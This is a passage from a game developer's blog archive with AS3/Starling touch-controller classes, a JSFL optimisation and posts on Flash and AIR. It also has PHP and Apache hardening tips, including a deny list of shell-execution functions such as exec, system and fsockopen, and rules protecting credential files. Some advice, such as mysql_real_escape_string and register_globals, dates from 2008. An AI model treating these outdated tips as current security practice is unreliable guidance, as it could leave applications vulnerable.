_latestVector = new TouchData();<br />
_moveVector = new Point();<br />
_sensitivity = sensitivity;<br />
_touching = false;<br />
alpha = 0.05;<br />
addEventListener(TouchEvent.TOUCH , _handleTouch);<br />
}<br />
<br />
public function getLatestMovement():TouchData {<br />
_latestVector._vX = _moveVector.x * _sensitivity;<br />
_latestVector._vY = _moveVector.y * _sensitivity;<br />
_latestVector.touching = _touching;<br />
_latestVector.dualTouching = _dualTouching;<br />
_latestVector.tap = _tap;<br />
resetValues();<br />
return _latestVector;<br />
}<br />
<br />
private function resetValues():void <br />
{<br />
_moveVector.x = 0 ; <br />
_moveVector.y = 0 ; <br />
<br />
_tap = false;<br />
}<br />
<br />
public function setWidth(w:Number):void {<br />
width = w;<br />
}<br />
<br />
public function setHeight(h:Number):void {<br />
height = h;<br />
}<br />
<br />
public function updateSensitivity(s:Number):void {<br />
_sensitivity = s;<br />
}<br />
<br />
private function _handleTouch(e:TouchEvent):void {<br />
e.stopImmediatePropagation()<br />
var touchArray:Vector.<touch> = e.getTouches(this);<br /> //var _wasDualTouch:Boolean = _dualTouching;<br /> <br /> _dualTouching = false;<br /> dispatchEventWith(TouchPhase.BEGAN);<br /> if (touchArray.length>0){<br /> var touch:Touch = touchArray[0];<br /> if (touchArray.length>1){<br /> _dualTouching = true;</touch>
<br />
//If you want to move with the right thumb then edit the next line.<br />
if (touchArray[0].getLocation(this).x > touchArray[1].getLocation(this).x) {<br />
touch = touchArray[1];<br />
}<br />
}<br />
<br />
switch (touch.phase){<br />
case TouchPhase.BEGAN:<br />
_justTapped = true;<br />
storeThisPos(touch);<br />
break;<br />
<br />
case TouchPhase.ENDED:<br />
//checkForTap();<br />
//stopMovement();<br />
_tap = _justTapped;<br />
_touching = false;<br />
break;<br />
<br />
case TouchPhase.MOVED:<br />
_justTapped = false;<br />
getMovementVector(touch);<br />
break;<br />
}<br />
<br />
<br />
}<br />
<br />
}<br />
<br />
<br />
private function getMovementVector(touch:Touch):void <br />
{<br />
_moveVector = touch.getMovement(this);<br />
<br />
}<br />
<br />
private function storeThisPos(touch:Touch):void <br />
{<br />
_touching = true;<br />
_tapVector = touch.getMovement(this);<br />
}<br />
<br />
}<br />
<br />
} </blockquote>
<br />
<b>Class: TouchData.as </b><br />
<blockquote class="tr_bq">
package beekyr.controllers <br />
{<br />
/**<br />
* ...<br />
* @author Jaime Dominguez<br />
*/<br />
public class TouchData <br />
{<br />
public var _vX:Number;<br />
public var _vY:Number;<br />
<br />
public var touching:Boolean;<br />
public var dualTouching:Boolean;<br />
public var tap:Boolean;<br />
<br />
public function TouchData() <br />
{<br />
<br />
}<br />
<br />
}<br />
<br />
}<u><br /></u></blockquote>
<u><br /></u>
<br />
<br />
Used in <span style="font-family: Arial,Helvetica,sans-serif;"> <a href="https://www.facebook.com/Beekyr" target="_blank">Beekyr</a> </span>for Android.<br />
<br />Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-3430534936820467452.post-13517401397540491872013-04-17T15:54:00.004+01:002013-07-12T17:49:28.739+01:00TouchPad class for AS3+Starling.<span style="font-family: Arial,Helvetica,sans-serif;">When I started developing games for Android I had to work pretty hard to invent a good controller, It has been created to meet the needs of my shooter game <a href="https://www.facebook.com/Beekyr" target="_blank">Beekyr</a>. But Im sure it will work in other kinds of games.</span><br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"></span>
<span style="font-family: Arial,Helvetica,sans-serif;">I couldn't find anything that was good enough so I made one that works very well...</span><br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="color: #e06666; font-size: large;"><b>UPDATE, VER2: </b><a href="http://salsadepixeles.blogspot.com.es/2013/05/touchpad-class-for-as3-starling-rev2.html" target="_blank"> Allows two fingers and works better than this version. VIEW UPDATE HERE!</a></span> </span><br />
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">At the moment only allows one finger, if you want to extend this class feel free to do so! </span><br />
<blockquote class="tr_bq">
<b><br /></b>
<b><span style="font-family: "Courier New", Courier, monospace;">package beekyr.controllers<br />{<br /> import flash.geom.Point;<br /> import starling.display.Quad;<br /> import starling.events.Touch;<br /> import starling.events.TouchEvent;<br /> import starling.events.TouchPhase;<br /> public class TouchPad extends Quad<br /> {<br /> /**<br /> * ...<br /> * @author Jaime Dominguez for Beekyr : 2013<br /> * http://www.jaimedominguez.com<br /> */<br /> <br /> private var _moveVector:Point = new Point();<br /> private var _latestVector:Object = new Object();<br /> private var _sensitivity:Number;<br /> private var _touching:Boolean;<br /> <br /> public function TouchPad(width:int, height:int, sensitivity:Number = 1) {<br /> super(width,height,0xff0000);<br /><br /> _moveVector = new Point();<br /> _sensitivity = sensitivity;<br /> _touching = false;<br /> alpha = 0;<br /> addEventListener(TouchEvent.TOUCH , _handleTouch);<br /> }<br /> <br /> public function getLatestMovement():Object {<br /> _latestVector._vX = _moveVector.x * _sensitivity;<br /> _latestVector._vY = _moveVector.y * _sensitivity;<br /> _latestVector.touching = _touching;<br /> _moveVector.x = 0 ; <br /> _moveVector.y = 0 ; <br /> return _latestVector;<br /> <br /> }<br /> <br /> public function setWidth(w:Number):void {<br /> width = w;<br /> }<br /> <br /> public function setHeight(h:Number):void {<br /> height = h;<br /> }<br /> <br /> public function updateSensitivity(s:Number):void {<br /> _sensitivity = s;<br /> }<br /> <br /> private function _handleTouch(e:TouchEvent):void {<br /> e.stopImmediatePropagation()<br /> var touchArray:Vector.<touch> = e.getTouches(this);<br /> <br /> if (touchArray.length>0){<br /> <br /> var touch:Touch = touchArray[0];<br /><br /> switch (touch.phase)<br /> {<br /> case TouchPhase.BEGAN: <br /> storeThisPos(touch);<br /> break;<br /> <br /> case TouchPhase.ENDED: <br /> stopMovement();<br /> break;<br /> <br /> case TouchPhase.MOVED:<br /> getMovementVector(touch);<br /> break;<br /> <br /> }<br /> <br /> };<br /> <br /> }<br /> <br /> private function stopMovement():void <br /> {<br /> _moveVector = new Point();<br /> _moveVector.x = 0;<br /> _moveVector.y = 0;<br /> _touching = false;<br /> }<br /> <br /> private function stopMovementVector():void {<br /> _moveVector = new Point(0, 0);<br /> }<br /> <br /> private function getMovementVector(touch:Touch):void <br /> {<br /> _moveVector = touch.getMovement(this);<br /> }<br /> <br /> private function storeThisPos(touch:Touch):void <br /> {<br /> _touching = true;<br /> }<br /> <br /> }<br /><br />}</touch></span></b></blockquote>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;">With this class initialized at start of the game. Then you need to collect the values in each loop of the game with:</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>
<br />
<blockquote class="tr_bq">
<b><span style="font-family: "Courier New",Courier,monospace;">_speed = _game._touchPad.getLatestMovement();</span></b></blockquote>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>
<span style="font-family: Arial,Helvetica,sans-serif;">IT will return a vector of the lastest movement.</span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span>
<span style="font-family: Arial,Helvetica,sans-serif;">You can adjust the sensitivity too with:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"><br /></span>
<br />
<blockquote class="tr_bq">
<b><span style="font-family: "Courier New",Courier,monospace;">public function updateSensitivity(s:Number):void {<br /> _sensitivity = s;<br /> }</span></b></blockquote>
<br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span>
<br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: Arial, Helvetica, sans-serif;"> </span> </span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-6624652450086466702013-04-08T19:33:00.000+01:002013-04-08T19:33:00.826+01:00PHP security.<br />
<i>I recently discovered a blog post that I had written back in 2008 but it is still relevant today So I have decided to release it now in 2013.</i><br />
<br />
This was the original post:<br />
<br />
<br />
I have been recently reading a book about security. And I thought it was good to share all this new knowledge with the rest of the world.<br />
<br />
There may be lots of practices that I'll miss but this text intends to be tips to be considered while programming any PHP app. :<br />
<br />
<span style="font-style: italic;"><span style="font-size: medium; font-weight: bold;"><br /></span></span><span style="font-size: medium; font-weight: bold;">Filter all the data you manage:</span><br />
<br />
<span style="color: #ff6666; font-weight: bold;">Golden rule:</span><br />
<span style="color: #ff6666; font-style: italic; font-weight: bold;">All data you receive on your PHP scripts is invalid until is filtered and validated.</span><br />
<br />
<br />
<br />
Use SSL every time you send sensitive data. Such login details or credit card data.<br />
<br />
<br />
Differentiate your variables between verified and unverified. Create an empty array where you can copy all clean variables. This way will be a good thing to do verify that you are using the correct valid variables:<br />
<blockquote style="font-family: courier new;">
$cleanVars = array();<br />
<br />
//if a variable is validated successfully you copy the value into the new array:<br />
<br />
switch ($_POST['colorEyes']){<br />
<br />
case 'brown':<br />
case 'blue':<br />
case 'green':<br />
<br />
$cleanVar['colorEyes'] = $_POST['colorEyes']<br />
<br />
}</blockquote>
<br />
<br />
Once you have filtered all the data:<br />
<br />
Use <a class="function" href="http://uk2.php.net/manual/en/function.htmlentities.php" style="font-family: courier new; font-weight: bold;">htmlentities()</a> to escape HTML code and <a class="function" href="http://uk2.php.net/manual/en/function.html-entity-decode.php" style="font-family: courier new; font-weight: bold;">html_entity_decode()</a> to decode it.<br />
<br />
To send strings into SQL queries use: <a href="http://uk2.php.net/manual/en/function.mysql-real-escape-string.php" style="font-family: courier new;"><span style="font-weight: bold;">mysql_real_escape_string()</span></a><span style="font-family: courier new;">.</span><br />
<br />
Ask for re-login some times for specially delicate movements such password reset or contact details among others.<br />
<br />
To check if a string is alphanumeric use: <span style="font-family: courier new; font-weight: bold;"><a href="http://uk2.php.net/manual/en/function.ctype-alnum.php">ctype_alnum()</a></span><br />
<br />
When receiving a file name link as string you don't want the hackers to be using relative or full paths, you want just file names and deal with the directories on the script. Erase all possibility of path edition on the variables using the function<span style="font-family: courier new;"> </span><span style="font-family: courier new; font-weight: bold;"><a href="http://uk2.php.net/manual/en/function.basename.php">basename()</a></span><br />
<br />
<br />
<br />
<span style="font-weight: bold;">Include files:</span><br />
Set the includes outside root directory.<br />
They can be anywhere and make sure that only the server and only your internal user is able to access them no one else need them. Use .htacess for this matter.<br />
<br />
Credentials such password and username for databases should be stored in a file named db.inc<br />
Make sure that inc is treated like a php file and if u want to deny all access to INC files u can configure Apache htaccess to deny all requests to that file extension by normal users:<br />
<br />
<span style="font-family: courier new;"><Files ~ "\.inc(.php)?$"></span><br />
<span style="font-family: courier new;"> Order allow,deny</span><br />
<span style="font-family: courier new;"> Deny from all</span><br />
<span style="font-family: courier new;"> Satisfy All</span><br />
<span style="font-family: courier new;"></Files></span><br />
<br />
<br />
<span style="font-size: medium; font-weight: bold;">Dangerous functions:</span><br />
<br />
Try to avoid using the next functions:<br />
<span style="font-family: courier new;">eval , exec, shell exec, passthru, system, popen, preg_replace, proc_open, file_get_contents, readfile, file</span>, <span style="font-family: courier new;">ini_restore, symlink, fsockopen, escapeshellcmd</span><br />
<br />
Then disable them on Apache with disable_functions. If some of the functions above has to be used then be very careful how you use them...<br />
<br />
<br />
<span style="font-size: medium; font-weight: bold;">Apache security:</span><br />
<br />
Have a look at the php.ini and have a look at these apache directives:<br />
<br />
<span style="font-family: courier new;">allow_url_fopen</span><br />
<span style="font-family: courier new;">disable_functions</span><br />
<span style="font-family: courier new;">display_errors</span><br />
<span style="font-family: courier new;">enable_dl</span><br />
<span style="font-family: courier new;">error_reporting</span><br />
<span style="font-family: courier new;">file_uploads</span><br />
<span style="font-family: courier new;">log_errors</span><br />
<span style="font-family: courier new;">magic_quotes_gpc</span><br />
<span style="font-family: courier new;">memory_limit</span><br />
<span style="font-family: courier new;">open_basedir</span><br />
<span style="font-family: courier new;">register_globals</span><br />
<span style="font-family: courier new;">safe_mode</span> (not used anymore?)<br />
<br />
They are all gathered in this <a href="http://php.net/manual/en/ini.core.php">php.net page</a>, (you have to scroll down, it is not very well structured)...<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-38524892824972918902013-04-03T18:11:00.000+01:002013-04-03T18:11:04.038+01:00Some Apache security.<i>I recently discovered a blog post that I had written back in 2008 but
it is still relevant today. So I have decided to release it now in 2013.</i><br />
<br />
Apache Security<br />
<br />
I have been receiving attacks from someone using <a href="http://en.wikipedia.org/wiki/Zombie_computer">zombie computers </a>and banning IPs on Apache.<br />
That didn't stop the attacker as he was able to use different IPS for the same attack. So I decided to fix the problem from the root problem.<br />
<br />
I checked apache.log and I saw that the attacker was trying to erase some internal Windows files using a PHP file he uploaded by him self using some kind of vulnerability of the XAMPP default settings.<br />
<br />
The biggest problem was that I didn't have a password set for phpMyAdmin software so it was like a big hole in the security.<br />
<br />
Now I know what to do:<br />
Go to myphpadmin folder and in config.ini<br />
find the next line and set it to authenticate using http and not automatic!<br />
<br />
<span style="font-weight: bold;"> $cfg['Servers'][$i]['auth_type'] = 'http';</span><br />
<br />
Another good thing for security is to disable directory listings. So when a user tries to open a folder, Apache doesn't show the files on the folder...<br />
<br />
on .htacess add the following line:<br />
<b><br /></b>
<b>Options -Indexes</b><br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-45548467534196113832013-04-01T19:12:00.000+01:002013-04-01T19:12:00.777+01:00Improving JSFL performance<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEPIInrCPnT455orlC1K9CJli1K8zLlMlvUdZ_WmHn_8m2laszDS9OIyaf0nPwbLOygMVNHnOddeSZl5eSdkcna15jcNhs2Pd30zyA85uvFpSqdutM4ahujyJRfkqa6rJkIIHZHa_BF3o/s1600/pathEditor.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<br />
I'm currently working with JSFL. <br />
<br />
What is JSFL? JavaScript for FLash . It's a scripting language that allows to automatize some tasks interacting with Flash GUI to store or edit data.... like here: It stores the keyframe's properties of specific Movieclips.<br />
<br />
I have made a levels editor for my game where I can edit the path of enemies too.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEPIInrCPnT455orlC1K9CJli1K8zLlMlvUdZ_WmHn_8m2laszDS9OIyaf0nPwbLOygMVNHnOddeSZl5eSdkcna15jcNhs2Pd30zyA85uvFpSqdutM4ahujyJRfkqa6rJkIIHZHa_BF3o/s1600/pathEditor.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEPIInrCPnT455orlC1K9CJli1K8zLlMlvUdZ_WmHn_8m2laszDS9OIyaf0nPwbLOygMVNHnOddeSZl5eSdkcna15jcNhs2Pd30zyA85uvFpSqdutM4ahujyJRfkqa6rJkIIHZHa_BF3o/s400/pathEditor.jpg" width="400" /></a><br />
I made it using MovieClips where I would detect key frames and store the coordinates in that frame.<br />
<br />
I have all Movieclips stored in the library, and the script I generated checks all objects in library to export the relevant data to JSON, but it was taking too long. How long? About 2 mins to process ~10 paths in a 6 core 3.4GHz machine. This is far too long and would make sense the need to optmize code.<br />
<br />
I was processing many things but I isolated the problem: the bottle neck was the keyframes detector function.<br />
<br />
<blockquote class="tr_bq">
function getKeyframes (layer){<br /> var keyframes = [];<br /> for(var f in layer.frames){<br /> if (f==layer.frames[f].startFrame){<br /> keyframes.push({<br /> frame:layer.frames[f],<br /> index:f<br /> });<br /> }<br /> }<br /> return keyframes;<br />};</blockquote>
<br />
It was taking very long time per MC. I played with code and I finally improved it by changing it to:<br />
<br />
<br />
<blockquote>
function getKeyframes (layer){<br /> var keyframes = [];<br /> var layerFrames = layer.frames;<br /> for(var f in layerFrames){<br /> if (f==layerFrames[f].startFrame){<br /> keyframes.push({<br /> frame:layerFrames[f],<br /> index:f<br /> });<br /> }<br /> }<br /> <br /> return keyframes;<br />}; </blockquote>
<br />
After this, the script takes about 2-3 seconds instead of 2 mins.<br />
<br />
A note for the reader: I usually optimize all my code but since this JSFL script is only executed every now and then I didn't think it was necessary to optimize it.<br />
<br />
I hope it helps to someone!<br />
<br />
Thanks for reading!<br />
<br />
<br />
<br />
<br />
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-25523238796692957652013-03-26T10:46:00.000+00:002013-05-27T10:42:49.228+01:00Ending up with AIR + Citrus Engine [Starling+Box2D]Today I want to talk about how I ended up using Citrus Engine.<br />
<br />
So, I wanted to create my first game for phones, game-hubs, and maybe Facebook. Flash is not the only thing out there and I had to look for new technologies. I don't want to get rusty....<br />
<br />
I looked at CoronaSDK, PhoneGap, AIR and Unity3D:<br />
<br />
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><img border="0" height="200" src="http://www.zen45120.zen.co.uk/CoronaSDK-icon.png" style="margin-left: auto; margin-right: auto;" width="200" /></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><br /></td></tr>
</tbody></table>
<a href="http://kerb.co.uk/" target="_blank">Kerb</a> guys told me Corona was good. But I wasn't happy to tray a product that costs $349<span class="tiny-tiny">/yr,,, what if I don't like it? Not sure what to do.</span> I decided to put it on hold and look more and if nothing good comes I would try Corona.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.ibm.com/developerworks/mydeveloperworks/blogs/eclipseandjazz/resource/BLOGS_UPLOADED_IMAGES/phonegap_android.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://www.ibm.com/developerworks/mydeveloperworks/blogs/eclipseandjazz/resource/BLOGS_UPLOADED_IMAGES/phonegap_android.jpg" /></a></div>
<br />
<span class="tiny-tiny"></span>
<br />
<br />
The idea of developing anything serious with HTML and JavaScript, makes me ill. Instantly discarded.<br />
<br />
<br />
<br />
<br />
<span class="tiny-tiny"></span>
<span class="tiny-tiny"></span>
<br />
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://download.unity3d.com/webplayer/images/unity-icon-big.jpg" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" height="208" src="http://download.unity3d.com/webplayer/images/unity-icon-big.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Unity3D</td></tr>
</tbody></table>
I have a bunch of friends that use it, some of them like it and some don't.<br />
<br />
I like the work flow and the GUI. I was extremely familiar with the syntax (C#) so I liked the idea of developing with Unity...<br />
<br />
I looked at the prices... and it says:<br />
<br />
<div class="description">
<i>"Unity Pro :$1,500 All the high-end features today's professional developers need."</i></div>
<div class="description">
</div>
<div class="description">
Whoops that's a bit pricey.</div>
<div class="description">
</div>
<div class="description">
If I want to develop flash + android + iOS is $1500 extra per OS (that means $6000). No thanks!</div>
<div class="description">
<b><br /></b></div>
<div class="description">
There is a free version. Yay!</div>
<div class="description">
But.... If I want to export to flash that will be $400. There is more, If i want to export to Android... another $400.... and same thing with iOS, (another $400). Just great.</div>
<div class="description">
<br /></div>
<div class="description">
I would end up paying $1200, so: not free!</div>
<div class="description">
</div>
<div class="description">
I friend told me to have a go anyway, there were some discounts at the time...</div>
<div class="description">
</div>
<div class="description">
So, I almost started with unity3D but I thought that for my first own
commercial game I would like to use a technology that I am conformable
with. Is hard enough to build a whole game so imagine with a new
technology... I decided that I will come back to this technology, when I have some code to port. So the process will be a lot simpler. </div>
<div class="description">
<br /></div>
<div class="description">
<br /></div>
<div class="description">
<br /></div>
<div class="description">
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://img.talkandroid.com/uploads/2010/09/air_logo.jpg" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" height="200" src="http://img.talkandroid.com/uploads/2010/09/air_logo.jpg" width="200" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"></td></tr>
</tbody></table>
</div>
I knew AIR has improved a lot since 2012 with stage3D. I already know how to program Flash so AIR would be like a piece of cake for me. In fact is was the same, the used language is ActionScript3. Only hard bit is to set-up the Smartphone drivers and the rest of the GoogleSDK.<br />
<br />
I didn't have to pay extra for anything, you can even do it all for free with AIR-SDK and <a href="http://www.flashdevelop.org/" target="_blank">FlashDevelop</a>. Or pay a little bit and use the official Adobe's AIR/ <a href="http://www.adobe.com/products/flash-builder.html" target="_blank">Flash Builder</a> <br />
<br />
Choice was easy... I decided to have a go with this, and perhaps try Unity3D later....<br />
<br />
So, after many many weeks I made a choice!<br />
<br />
<br />
<br />
Someone suggested to have a look at <a href="http://citrusengine.com/" target="_blank">CitrusEngine</a> and more engines. I wanted to start developing and this was the only one I saw that used Stage3D... So I got my hands on it.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9As2IHh_dIZigpH44WeN34ZJyQCCPCHFr7D5y4MfiupbivjNQmQgyg4mAGlmVr_F2lrRCcvpS1b5JhBWtphL1J2yzYBDHdRBYRRyquw-j132SYZ8XYs_nLzjsaWXC2ernnMfWlbqX6FI/s1600/citrus.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9As2IHh_dIZigpH44WeN34ZJyQCCPCHFr7D5y4MfiupbivjNQmQgyg4mAGlmVr_F2lrRCcvpS1b5JhBWtphL1J2yzYBDHdRBYRRyquw-j132SYZ8XYs_nLzjsaWXC2ernnMfWlbqX6FI/s1600/citrus.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.lostiemposcambian.com/blog/wp-content/uploads/2012/11/recursos-starling-citrus-engine.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<br />
At first, I was not happy about using an framework/ engine. Usually, I develop 99% of the code I use. But turned out that was pretty good as simplifies the process of making games. Apparently CE was designed for platformers but I am making a shooter.<br />
<br />
I found it hard to start with because the lack of documentation for CitrusEngine + [Starling/Away3D] + [Box2D/Nape/AwayPhysics] back then.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://citrusengine.com/wp-content/themes/citrus/images/citrus-stack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="http://citrusengine.com/wp-content/themes/citrus/images/citrus-stack.png" width="320" /></a></div>
<br />
<br />
I told <b>Aymeric</b> (main CE developer) that I was getting stuck all the time in very basic aspects of the game design. They started to improve documentation and start-up examples.<br />
<br />
Now, I think CE has improved lots but still a long way to go. The Engine is constantly evolving and once you understand its mechanics, you will be able to use it to create any kind of game. I'm creating a shooter with complex backgrounds and many enemies in screen and performance is still 50FPS... the performance is good!<br />
<br />
I know AIR performance will be improved eventually along with all the frameworks under CE. In fact, it's still very active and it has been improved several times in the 3 months I have been using it.<br />
<br />
Have a go, try, <a href="http://citrusengine.com/" target="_blank">Citrus Engine</a>!<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-59127306339127794852013-01-09T10:16:00.000+00:002013-03-26T00:27:23.053+00:00Why flash developers won't go extinct!I always wanted to work as a games developer. I have created some little games in the past for clients or for myself but always my time has been utterly consumed by my own portfolio websites maker: <a href="http://www.electrofolio.com/" target="_blank">Electrofolio</a><br />
<br />
In 2010, I made a <a href="http://media.jaimedominguez.com/valkyr/loader.swf" target="_blank">remake of an old game</a> which was running really well in Flash Player 9 (AS3). <br />
Later on (late 2010), when I realized that I was the only one excited about my game (playability was amazing), I decided to add a twist improving graphics adding real animated images instead Tron looking vectorial pictures. Play at the <a href="http://media.jaimedominguez.com/beekyr/loader.swf" target="_blank">newer version</a>.<br />
<br />
Animations were running slower now and FP struggled to move the game at 50FPS plus I couldn't add a parallax scroll effect with bitmaps so I got well disappointed with Flash performance.<br />
<br />
In 2011, after Flash beeing totally destroyed by Steve Jobbs, Adobe released a GPU 3D accelerated Flash version called molehill.<br />
<br />
I saw several 3D demos and differences with performance were so huge that I decided that I had to go with this new way and stop working with time lines and classic Flash, completely.<br />
I realized that I would take longer to develop apps but this is the way forward.<br />
<br />
With the release of Starling 0.8, a friend and I decided to have a go and got involved creating a <a href="http://media.jaimedominguez.com/kaleidos/" target="_blank">kaleidoscope game</a> using textures and stage3D. I
liked the way it was running. It was pretty fast!<br />
<br />
It was a real shame seeing everyday Flash was dieing slowly with so much power on its hands!<br />
Flash was almost dead and Flash-haters where everywhere making so much noise that even myself had really deep thoughts of leaving the technology.<br />
<br />
I had a go <strike>making</strike> trying to develop a slide-show with HTML5 that worked everywhere.... Hey! that's what HTML5 is all about, right? Well it's WRONG. It worked in some devices and some didn't execute the JavaScript / CSS combination right.... I was trapped between a dyeing technology and a really over-hyped technology.<br />
<br />
In that moment, beginning of 2012, Flash saw its end in phones and tablets. It was one of the worst stages for Flash developers but there was still hope to use our actionscript good skills, an exit, developing AIR apps instead of web apps. That was a great idea! Sadly, my phone (Samsung Galaxy ACE 1) didn't support AIR... I got really down and kept working on Electrofolio (Flash, PHP, mySQL, HTML, JS, CSS, blablabla) for almost a year until I read a very positive post of making money with AIR and iOS+Android.<br />
<a href="http://www.esdot.ca/site/2012/journey-of-an-air-developer" target="_blank">http://www.esdot.ca/site/2012/journey-of-an-air-developer </a><br />
<br />
Now, I have decided that this has been dragged for too long, This time I'm decided to invest real time in making games. I got a newer phone (Samsung Galaxy S3 mini) which supports AIR and I right away I started developing for Android. I got registered in play.google.com for 25 US$ and adapted an old flash 9 recycling game I made in the past using normal timeline - AS3.<br />
<br />
It was very simple drag and drop game and turned out that works pretty well...<br />
<a href="https://play.google.com/store/apps/details?id=air.recycleGame" target="_blank">Get the game for Android</a> (updated in 2013)<br />
<br />
Compare it with the Flash version:<br />
<a href="http://www.media.gmweb.es/213/recycleGame.swf" target="_blank">Flash Version</a> (made in 2010)<br />
<br />
I think there is big potential being able to release games to several devices with just one click and monetize visits.<br />
<br />
I took a look at adMob, and set up an account, it took me almost a whole day to implement it all:<br />
<br />
I got a free AIR native extension that works OK and now I am monetizing my first project. It's hardly any money but if I keep creating games they will all add up making my develop time more monetized.<br />
<br />
I see a brighter future, this is is how continues. I will post more about this.<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-78338897161309667102010-06-10T17:43:00.007+01:002010-06-11T13:12:53.156+01:00Security in Flash Part 1This is is what I found out in a furstrated afternoon. There might be wrog things due the cache. If people know about this more, please let me know.<br /><br />This might work in AS2 and AS3. But it was tested on AS2 Flash9, under Flash Player 10 re32(debug).<br /><br /><br />How Flash security works between SWFs or SWF loading external images (JPG,PNG,<span style="font-style: italic;">more types?</span>), understandble for everyone:<br /><br /><span style="font-weight: bold;font-size:130%;" >System.security.allowDomain()</span><br /><br />We have two files: <span style="font-weight: bold;">master.swf</span> and<span style="font-weight: bold;"> slave.swf</span>.<br /><br />master is on: 'http://www.exampleDomOne.com/master.swf';<br />master will load a file: http://www.exampleDomTwo.com/slave.swf";<br /><br />If we place on <span style="font-weight: bold;">master.swf</span>:<br /><span style="font-family:courier new;">System.security.allowDomain("http://www.exampleDomTwo.com");</span><br /><br />Will allow a flash file loaded from that domain to access _<span style="font-family:courier new;">root </span>vars (but not <span style="font-family:courier new;">_global</span>?) vars from master.swf<br /><br />If you place on <span style="font-weight: bold;">slave.swf</span>:<br /><span style="font-family:courier new;">System.security.allowDomain("http://www.exampleDomOne.com");</span><br />It will make ony the variables that are <span style="font-style: italic;">this</span>.[var name] (you can ommit <span style="font-style: italic;">this</span>) will be accessible from the clip that was used to load the swf file. but<span style="font-family:courier new;"> _root</span> or <span style="font-family:courier new;">_global </span>vars will not be available.<br /><br />Converting to Bitmap or using setMask() directly on those clips when no System.security.allowDomain is set in <span style="font-weight: bold;">both files</span> will result in error. But you can mask a holder. That means that if you have a clip(<span style="font-family:courier new;">mc2</span>) inside another clip(<span style="font-family:courier new;">mc1</span>). And you load an external file on mc2, you are not allowed to mask mc2 but you are mc1. Stupid huh?<br /><br />What is adobe when they are thinkging about security?<br /><br />Conclusion:<br /><br />If you want to load external images and you want to mask them, there is no need for crossdomain or Security stuff, just load them as usual and mask the holder. easy.<br /><br />If you want to load a flash file securely in your online flash application. Don't use System.security.allowDomain();<br /><br />Simple, not complicated.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3430534936820467452.post-62724812408653822702010-05-07T11:18:00.015+01:002010-05-09T22:21:39.397+01:00How NOT to make flash code.Recently I was contacted to fix some existing website for a clothes company in UK, France and Spain.<br />Originally the website was developed by some guys overseas. They did an awful job, they got the website working but everytime you were clicking on a link you would get pissed off.<br /><br />Why?<br /><br />It would go through the next steps:<br /><ol><li>after clicking, page fade off.</li><li>load a new html page that contains almost the whole website again.</li><li>fades in the preloader. (it shows an empty page with "0%")<br /></li><li>shows progress until finished loading</li><li>fade out the percentage.</li><li>fades in the logo of the company</li><li>stays for 1 - 2 seconds</li><li>fades out the logo and waits a second.</li><li>fade in the navigation</li><li>show the content that you wanted to see.</li></ol><br />10 steps that equals aprox. 14 seconds.<br /><br />I had the task to make it quicker, and after reprogramming the whole site took <4 seconds which considering that has 3000px wide images it takes a little bit of time for loading. but after that, when it is cached, it less than a second.<br />I removed steps: 1,2,5,6,7,8,9 ending up with:<br /><ol><li>after clicking, fades out the section and fades in a preloader <span style="font-style: italic;">(at the same time).</span></li><li>shows progress and when finishes loading</li><li>fades out progress and show the content that you wanted to see (<span style="font-style: italic;">at the same time).</span></li></ol><br />Why developers can make such an unusable website?<br /><br />I tell you why: inexperience and things wanted to be done ASAP doesnt mix very well. It comes monster websites like 